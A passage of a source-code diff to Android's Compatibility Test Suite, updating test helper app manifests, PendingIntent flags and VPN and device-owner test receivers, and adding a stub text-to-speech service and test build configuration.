@@ -16,15 +16,28 @@
 package com.android.cts.emptydeviceowner;
 
 import android.app.admin.DeviceAdminReceiver;
-import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.util.Log;
 
+import com.android.compatibility.common.util.enterprise.DeviceAdminReceiverUtils;
+
 public class EmptyDeviceAdmin extends DeviceAdminReceiver {
 
-	public static ComponentName getComponentName(Context context) {
-		return new ComponentName(context, EmptyDeviceAdmin.class);
-	}
+    private static final String TAG = EmptyDeviceAdmin.class.getSimpleName();
+
+    public static ComponentName getComponentName(Context context) {
+        return new ComponentName(context, EmptyDeviceAdmin.class);
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(): user=" + context.getUserId() + ", action=" + action);
+
+        if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
+
+        super.onReceive(context, intent);
+    }
 }
diff --git a/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/ProfileOwnerChangedReceiver.java b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/ProfileOwnerChangedReceiver.java
new file mode 100644
index 0000000..553cbc1
--- /dev/null
+++ b/apps/EmptyDeviceOwner/src/com/android/cts/emptydeviceowner/ProfileOwnerChangedReceiver.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.emptydeviceowner;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+import android.util.Log;
+
+// TODO(b/179100903): temporarily class listing to ACTION_PROFILE_OWNER_CHANGED until
+// DPMS automatically sets it for headless system user mode
+public final class ProfileOwnerChangedReceiver extends DeviceAdminReceiver {
+
+    private static final String TAG = ProfileOwnerChangedReceiver.class.getSimpleName();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(user " + context.getUserId() + "): action=" + action);
+        if (!UserManager.isHeadlessSystemUserMode()) return;
+
+        if (!DevicePolicyManager.ACTION_PROFILE_OWNER_CHANGED.equals(action)) {
+            Log.e(TAG, "Received invalid intent: " + intent);
+            return;
+        }
+        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+        String packageName = context.getPackageName();
+        if (!dpm.isProfileOwnerApp(packageName)) {
+            Log.w(TAG, packageName + " is not the profile owner");
+            return;
+        }
+        ComponentName newAdmin = new ComponentName("com.android.cts.verifier",
+        "com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver");
+        Log.d(TAG, "transferring profileship to " + newAdmin);
+        dpm.transferOwnership(EmptyDeviceAdmin.getComponentName(context), newAdmin,
+                /* bundle= */ null);
+        Log.d(TAG, "profileship transferred to " + newAdmin.flattenToShortString());
+    }
+}
diff --git a/apps/ForceStopHelperApp/AndroidManifest.xml b/apps/ForceStopHelperApp/AndroidManifest.xml
index 2bd9b0d..5f3ba67 100644
--- a/apps/ForceStopHelperApp/AndroidManifest.xml
+++ b/apps/ForceStopHelperApp/AndroidManifest.xml
@@ -18,6 +18,7 @@
           package="com.android.cts.forcestophelper" >
 
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" />
 
     <application android:label="Force stop helper app">
         <activity android:name=".RecentTaskActivity"
diff --git a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
index a7927aa..5b371fa 100644
--- a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
+++ b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
@@ -51,6 +51,6 @@
                 .setClass(context, AlarmReceiver.class)
                 .putExtra(EXTRA_ON_ALARM, onAlarm);
         return PendingIntent.getBroadcast(context, 0, alarmIntent,
-                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
     }
 }
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
index 4cc8f8c..dce1cae 100644
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!-- Copyright (C) 2019 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,15 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.mainlinemoduledetector"
-          android:versionCode="1"
-          android:versionName="1.0">
+     package="com.android.cts.mainlinemoduledetector"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <application>
-        <activity android:name=".MainlineModuleDetector">
+        <activity android:name=".MainlineModuleDetector"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/apps/NotificationBot/AndroidManifest.xml b/apps/NotificationBot/AndroidManifest.xml
index 0388cbc..95d9178 100644
--- a/apps/NotificationBot/AndroidManifest.xml
+++ b/apps/NotificationBot/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!-- Copyright (C) 2010 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,31 +15,34 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-      package="com.android.cts.robot"
-      android:versionCode="1"
-      android:versionName="1.0">
+     package="com.android.cts.robot"
+     android:versionCode="1"
+     android:versionName="1.0">
 
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="21"/>
+    <uses-sdk android:minSdkVersion="19"
+         android:targetSdkVersion="21"/>
 
     <application android:label="@string/app_name"
-            android:icon="@drawable/icon"
-            android:debuggable="true">
+         android:icon="@drawable/icon"
+         android:debuggable="true">
 
         <!-- Required because a bare service won't show up in the app notifications list. -->
-        <activity android:name=".NotificationBotActivity">
+        <activity android:name=".NotificationBotActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <!-- services used by the CtsVerifier to test notifications. -->
-        <receiver android:name=".NotificationBot" android:exported="true">
+        <receiver android:name=".NotificationBot"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.robot.ACTION_POST" />
-                <action android:name="com.android.cts.robot.ACTION_CANCEL" />
-                <action android:name="com.android.cts.robot.ACTION_RESET_SETUP_NOTIFICATION" />
-                <action android:name="com.android.cts.robot.ACTION_INLINE_REPLY" />
+                <action android:name="com.android.cts.robot.ACTION_POST"/>
+                <action android:name="com.android.cts.robot.ACTION_CANCEL"/>
+                <action android:name="com.android.cts.robot.ACTION_RESET_SETUP_NOTIFICATION"/>
+                <action android:name="com.android.cts.robot.ACTION_INLINE_REPLY"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
index 60991b2..eba3bac 100644
--- a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
+++ b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
@@ -131,7 +131,7 @@
                         new Intent(ACTION_INLINE_REPLY)
                                 .setComponent(new ComponentName(context, NotificationBot.class))
                                 .putExtra(EXTRA_RESET_REQUEST_INTENT, intent),
-                        PendingIntent.FLAG_UPDATE_CURRENT);
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
         final RemoteInput ri = new RemoteInput.Builder("result")
                 .setLabel("Type something here and press send button").build();
 
diff --git a/apps/OomCatcher/AndroidManifest.xml b/apps/OomCatcher/AndroidManifest.xml
index 25513e2..daa6fb3 100644
--- a/apps/OomCatcher/AndroidManifest.xml
+++ b/apps/OomCatcher/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,15 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-      package="com.android.cts.oomcatcher"
-      android:versionCode="1"
-      android:versionName="1.0">
+     package="com.android.cts.oomcatcher"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <application>
-        <activity android:name=".OomCatcher">
+        <activity android:name=".OomCatcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/apps/PermissionApp/Android.bp b/apps/PermissionApp/Android.bp
index 5481315..085289d 100644
--- a/apps/PermissionApp/Android.bp
+++ b/apps/PermissionApp/Android.bp
@@ -27,5 +27,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/apps/PermissionApp/AndroidManifest.xml b/apps/PermissionApp/AndroidManifest.xml
index 41e5aaa..7e4c2ff 100644
--- a/apps/PermissionApp/AndroidManifest.xml
+++ b/apps/PermissionApp/AndroidManifest.xml
@@ -16,24 +16,24 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.permissionapp">
+     package="com.android.cts.permissionapp">
 
     <uses-sdk android:minSdkVersion="23"/>
 
     <permission android:name="com.android.cts.permissionapp.permA"
-                android:protectionLevel="dangerous"
-                android:label="@string/permA"
-                android:permissionGroup="com.android.cts.permissionapp.groupAB"
-                android:description="@string/permA" />
+         android:protectionLevel="dangerous"
+         android:label="@string/permA"
+         android:permissionGroup="com.android.cts.permissionapp.groupAB"
+         android:description="@string/permA"/>
     <permission android:name="com.android.cts.permissionapp.permB"
-                android:protectionLevel="dangerous"
-                android:label="@string/permB"
-                android:permissionGroup="com.android.cts.permissionapp.groupAB"
-                android:description="@string/permB" />
+         android:protectionLevel="dangerous"
+         android:label="@string/permB"
+         android:permissionGroup="com.android.cts.permissionapp.groupAB"
+         android:description="@string/permB"/>
 
     <permission-group android:description="@string/groupAB"
-                      android:label="@string/groupAB"
-                      android:name="com.android.cts.permissionapp.groupAB" />
+         android:label="@string/groupAB"
+         android:name="com.android.cts.permissionapp.groupAB"/>
 
     <uses-permission android:name="com.android.cts.permissionapp.permA"/>
     <uses-permission android:name="com.android.cts.permissionapp.permB"/>
@@ -45,15 +45,15 @@
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
 
     <application android:label="CtsPermissionApp"
-            android:icon="@drawable/ic_permissionapp">
-        <activity android:name=".PermissionActivity" >
+         android:icon="@drawable/ic_permissionapp">
+        <activity android:name=".PermissionActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.permission.action.CHECK_HAS_PERMISSION" />
-                <action android:name="com.android.cts.permission.action.REQUEST_PERMISSION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.permission.action.CHECK_HAS_PERMISSION"/>
+                <action android:name="com.android.cts.permission.action.REQUEST_PERMISSION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/apps/TtsTestApp/Android.bp b/apps/TtsTestApp/Android.bp
new file mode 100644
index 0000000..a1cc51f
--- /dev/null
+++ b/apps/TtsTestApp/Android.bp
@@ -0,0 +1,48 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsTtsEngineSelectorTestHelper",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ]
+}
+
+android_test_helper_app {
+    name: "CtsTtsEngineSelectorTestHelper2",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    aaptflags: [
+	"--rename-manifest-package com.google.android.cts.tts.helper2"
+    ]
+}
diff --git a/apps/TtsTestApp/AndroidManifest.xml b/apps/TtsTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..5fdac07
--- /dev/null
+++ b/apps/TtsTestApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.tts.helper">
+<application
+  android:label="TTS CTS Test Helper App">
+  <service
+    android:name=".TTSHelperService"
+    android:exported="true">
+    <intent-filter android:priority="100">
+      <action android:name="android.intent.action.TTS_SERVICE" />
+      <category android:name="android.intent.category.DEFAULT" />
+    </intent-filter>
+  </service>
+</application>
+</manifest>
diff --git a/apps/TtsTestApp/OWNERS b/apps/TtsTestApp/OWNERS
new file mode 100644
index 0000000..c984212
--- /dev/null
+++ b/apps/TtsTestApp/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 63521
+rni@google.com
+weiguo@google.com
+joshimbriani@google.com
diff --git a/apps/TtsTestApp/src/com/android/cts/tts/helper/TTSHelperService.java b/apps/TtsTestApp/src/com/android/cts/tts/helper/TTSHelperService.java
new file mode 100644
index 0000000..33ea454
--- /dev/null
+++ b/apps/TtsTestApp/src/com/android/cts/tts/helper/TTSHelperService.java
@@ -0,0 +1,39 @@
+package com.android.cts.tts.helper;
+
+import android.speech.tts.SynthesisCallback;
+import android.speech.tts.SynthesisRequest;
+import android.speech.tts.TextToSpeech;
+import android.speech.tts.TextToSpeechService;
+
+/**
+ * Stub implementation of TTS service
+ */
+public class TTSHelperService extends TextToSpeechService {
+
+  public TTSHelperService() {}
+
+  @Override
+  protected int onIsLanguageAvailable(String lang, String country, String variant) {
+    return TextToSpeech.LANG_AVAILABLE;
+  }
+
+  @Override
+  public int onLoadLanguage(String lang, String country, String variant) {
+    return TextToSpeech.LANG_AVAILABLE;
+  }
+
+  @Override
+  protected void onStop() {
+    return;
+  }
+
+  @Override
+  protected void onSynthesizeText(SynthesisRequest request, SynthesisCallback callback) {
+    return;
+  }
+
+  @Override
+  protected String[] onGetLanguage() {
+    return new String[] {"", "", ""};
+  }
+}
diff --git a/apps/VpnApp/api23/AndroidManifest.xml b/apps/VpnApp/api23/AndroidManifest.xml
index cd2f19b..58b851f 100644
--- a/apps/VpnApp/api23/AndroidManifest.xml
+++ b/apps/VpnApp/api23/AndroidManifest.xml
@@ -15,13 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.vpnfirewall">
+     package="com.android.cts.vpnfirewall">
 
     <uses-sdk android:targetSdkVersion="23"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <application android:label="@string/app">
-        <activity android:name=".VpnClient">
+        <activity android:name=".VpnClient"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
@@ -30,7 +31,8 @@
         </activity>
 
         <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
+             android:permission="android.permission.BIND_VPN_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
             </intent-filter>
diff --git a/apps/VpnApp/api24/AndroidManifest.xml b/apps/VpnApp/api24/AndroidManifest.xml
index 964e741..2787175 100644
--- a/apps/VpnApp/api24/AndroidManifest.xml
+++ b/apps/VpnApp/api24/AndroidManifest.xml
@@ -15,13 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.vpnfirewall">
+     package="com.android.cts.vpnfirewall">
 
     <uses-sdk android:targetSdkVersion="24"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <application android:label="@string/app">
-        <activity android:name=".VpnClient">
+        <activity android:name=".VpnClient"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
@@ -30,9 +31,11 @@
         </activity>
 
         <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
+             android:permission="android.permission.BIND_VPN_SERVICE"
+             android:exported="true">
             <!-- Dummy entry below to test the default value of always-on opt-opt flag -->
-            <meta-data android:name="dummy-name" android:value="dummy-value"/>
+            <meta-data android:name="dummy-name"
+                 android:value="dummy-value"/>
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
             </intent-filter>
diff --git a/apps/VpnApp/latest/AndroidManifest.xml b/apps/VpnApp/latest/AndroidManifest.xml
index 418726a..76c5e35 100644
--- a/apps/VpnApp/latest/AndroidManifest.xml
+++ b/apps/VpnApp/latest/AndroidManifest.xml
@@ -15,13 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.vpnfirewall">
+     package="com.android.cts.vpnfirewall">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application android:label="@string/app">
-        <activity android:name=".VpnClient">
+        <activity android:name=".VpnClient"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
@@ -30,7 +31,8 @@
         </activity>
 
         <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
+             android:permission="android.permission.BIND_VPN_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
             </intent-filter>
diff --git a/apps/VpnApp/notalwayson/AndroidManifest.xml b/apps/VpnApp/notalwayson/AndroidManifest.xml
index 4b9184e..c165d08 100644
--- a/apps/VpnApp/notalwayson/AndroidManifest.xml
+++ b/apps/VpnApp/notalwayson/AndroidManifest.xml
@@ -15,13 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.vpnfirewall">
+     package="com.android.cts.vpnfirewall">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application android:label="@string/app">
-        <activity android:name=".VpnClient">
+        <activity android:name=".VpnClient"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
@@ -30,12 +31,13 @@
         </activity>
 
         <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
+             android:permission="android.permission.BIND_VPN_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
             </intent-filter>
             <meta-data android:name="android.net.VpnService.SUPPORTS_ALWAYS_ON"
-                       android:value="false"/>
+                 android:value="false"/>
         </service>
     </application>
 
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
index 244e106..a4d583c 100755
--- a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
@@ -40,6 +40,8 @@
 import java.net.UnknownHostException;
 
 public class ReflectorVpnService extends VpnService {
+    public static final String ACTION_STOP_SERVICE = "com.android.cts.vpnfirewall.STOP_SERVICE";
+
     private static final String TAG = "ReflectorVpnService";
     private static final String DEVICE_AND_PROFILE_OWNER_PACKAGE =
         "com.android.cts.deviceandprofileowner";
@@ -65,16 +67,22 @@
 
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
-        // Put ourself in the foreground to stop the system killing us while we wait for orders from
-        // the hostside test.
-        NotificationManager notificationManager = getSystemService(NotificationManager.class);
-        notificationManager.createNotificationChannel(new NotificationChannel(
-                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
-                NotificationManager.IMPORTANCE_DEFAULT));
-        startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
-                .setSmallIcon(R.drawable.ic_dialog_alert)
-                .build());
-        start();
+        if (ACTION_STOP_SERVICE.equals(intent.getAction())) {
+            stop();
+            stopSelf();
+        } else {
+            // Normal service start
+            // Put ourself in the foreground to stop the system killing us while we wait for orders from
+            // the hostside test.
+            NotificationManager notificationManager = getSystemService(NotificationManager.class);
+            notificationManager.createNotificationChannel(new NotificationChannel(
+                    NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                    NotificationManager.IMPORTANCE_DEFAULT));
+            startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                    .setSmallIcon(R.drawable.ic_dialog_alert)
+                    .build());
+            start();
+        }
         return START_NOT_STICKY;
     }
 
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
index e4577a5..0226c3c 100644
--- a/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
@@ -25,6 +25,8 @@
 
     public static final String ACTION_CONNECT_AND_FINISH =
             "com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH";
+    public static final String ACTION_DISCONNECT_AND_FINISH =
+            "com.android.cts.vpnfirewall.action.DISCONNECT_AND_FINISH";
 
     private static final int REQUEST_CONNECT = 0;
     private static final int REQUEST_CONNECT_AND_FINISH = 1;
@@ -37,6 +39,13 @@
         if (ACTION_CONNECT_AND_FINISH.equals(getIntent().getAction())) {
             prepareAndStart(REQUEST_CONNECT_AND_FINISH);
         }
+        if (ACTION_DISCONNECT_AND_FINISH.equals(getIntent().getAction())) {
+            // the easiest way to stop the VpnService is to to start it with a stop action
+            Intent stopServiceIntent = new Intent(this, ReflectorVpnService.class)
+                    .setAction(ReflectorVpnService.ACTION_STOP_SERVICE);
+            startService(stopServiceIntent);
+            finish();
+        }
         findViewById(R.id.connect).setOnClickListener(v -> prepareAndStart(REQUEST_CONNECT));
     }
 
diff --git a/apps/hotspot/AndroidManifest.xml b/apps/hotspot/AndroidManifest.xml
index fd8b045..e0db7be 100644
--- a/apps/hotspot/AndroidManifest.xml
+++ b/apps/hotspot/AndroidManifest.xml
@@ -1,21 +1,24 @@
 <?xml version="1.0" encoding="utf-8"?>
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.hotspot">
 
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.hotspot">
+
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <application>
-        <activity android:name=".MainActivity">
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".Notify" android:exported="true">
+        <receiver android:name=".Notify"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.hotspot.TEST_ACTION" />
+                <action android:name="com.android.cts.hotspot.TEST_ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/common/device-side/bedstead/OWNERS b/common/device-side/bedstead/OWNERS
new file mode 100644
index 0000000..ce3438f
--- /dev/null
+++ b/common/device-side/bedstead/OWNERS
@@ -0,0 +1,2 @@
+scottjonathan@google.com
+alexkershaw@google.com
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/ActivityContextInstrumentOtherAppTest.xml b/common/device-side/bedstead/activitycontext/ActivityContextInstrumentOtherAppTest.xml
new file mode 100644
index 0000000..e92dba4
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/ActivityContextInstrumentOtherAppTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for ActivityContext test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="EmptyTestApp.apk" />
+        <option name="test-file-name" value="ActivityContextInstrumentOtherAppTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.activitycontext.test" />
+        <option name="include-annotation" value="com.android.activitycontext.annotations.RunWhenInstrumentingOtherApp" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/Android.bp b/common/device-side/bedstead/activitycontext/Android.bp
new file mode 100644
index 0000000..51c4e0e
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/Android.bp
@@ -0,0 +1,54 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "ActivityContext",
+    sdk_version: "27",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    static_libs: [
+        "EventLib",
+        "compatibility-device-util-axt",
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+}
+
+android_test {
+    name: "ActivityContextTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "ActivityContext",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng", // Used for assertThrows
+    ],
+    manifest: "src/test/AndroidManifest.xml",
+}
+
+android_test {
+    name: "ActivityContextInstrumentOtherAppTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "ActivityContext",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng", // Used for assertThrows
+    ],
+    manifest: "src/test/AndroidManifestInstrumentEmptyTestApp.xml",
+    data: [":EmptyTestApp"],
+    test_config: "ActivityContextInstrumentOtherAppTest.xml"
+}
diff --git a/common/device-side/bedstead/activitycontext/AndroidTest.xml b/common/device-side/bedstead/activitycontext/AndroidTest.xml
new file mode 100644
index 0000000..083b5b1
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
